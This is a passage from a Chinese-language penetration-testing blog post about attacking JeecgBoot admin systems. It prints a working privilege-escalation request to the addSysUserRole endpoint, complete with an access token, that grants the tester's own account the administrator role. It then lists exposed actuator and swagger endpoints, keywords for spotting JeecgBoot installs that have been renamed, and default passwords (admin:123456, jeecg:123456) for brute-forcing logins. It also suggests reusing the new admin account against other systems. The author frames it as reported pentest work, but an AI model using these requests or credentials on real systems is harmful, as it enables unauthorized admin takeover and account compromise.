下面就是提权的一个操作了,需要再次FUZZ接口,因为打jeecg漏洞多的师傅们,都知道,jeecg有很多的接口,像什么注册、查信息,查user_id,查所以账号的token值,还有用户敏感信息等,但是现在很多系统都不会直接拿jeecg都路径接口部署了,多多少少会进行魔改

这里首先需要查询管理员admin的账户ID

然后查询自己刚才创建用户的ID值

然后使用打提权使用的jeecg漏洞poc,如下:

//roleld填写需要提权的角色id userldList填写自己的id

POST xxxxx/jeecg-boot/sys/user/addSysUserRole(jeecg接口,需要自己去尝试,不一定是我这个) HTTP/1.1
Host: 
Cookie: cna=Ov9SH4RxGiACAf////9C18zb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjUzNzMyNDMsInVzZXJuYW1lIjoiMTEwMTAyIn0.NXRckymfKdZvEFsDQZ9Jwvk_rU_gVny2Rx6A
Tenant-Id: 0
Origin:
Dnt: 1
Referer: 
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: close
Content-Type: application/json
Content-Length: 96

{
"roleId":"xxxxxxxxxxx",
"userIdList":[
"xxxxxxxxxxxxxxxx"
]

}


这样就成功创建了这个系统的admin管理员的账户了,后面的思考就是直接使用创建的账户密码,去尝试爆破登陆其他系统

六、其他jeecg小技巧

下面再给大家总结下jeecg的其他打法小技巧

一、常见的接口敏感信息泄露:

/v2/api-docs
/swagger-ui.html
/env

//获取参数信息
/actuator
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/httptrace

二、常见jeecg框架接口关键字:

像看到下面的几个关键字,首先需要想到使用jeecg去打,因为很多现在直接把jeecg关键字给魔改了

jeecg/

api/sys/

sys/user

三、jeecg的几个常用弱口令:

可以使用下面的弱口令去尝试爆破下登陆接口

admin:123456

jeecg:123456

0x7 总结

然后还有很多其他的漏洞,这次文章就不一一给师傅们分享了,留着下次有时候给师傅们分享,这次写这篇文章由于之前的渗透测试项目漏洞都修复 了,我才写的这篇文章,所以实属不易,为了给师傅们演示的那么细致,特意去网上现找了一些漏洞实操截图给师傅们,因为之前的漏洞报告没有写的那么详细,这里怕新手师傅看不懂。

这次渗透测试总共提交了四五十个漏洞报告,其中包括很多框架系统的默认弱口令,这个确实让我蛮意外的,还有一些网上的nday,这里面有些老系统也存在,因为测试的资产比较多,所以相对来讲出洞率较高。

最后,希望看完这篇文章的你,也可以挖到心仪的漏洞!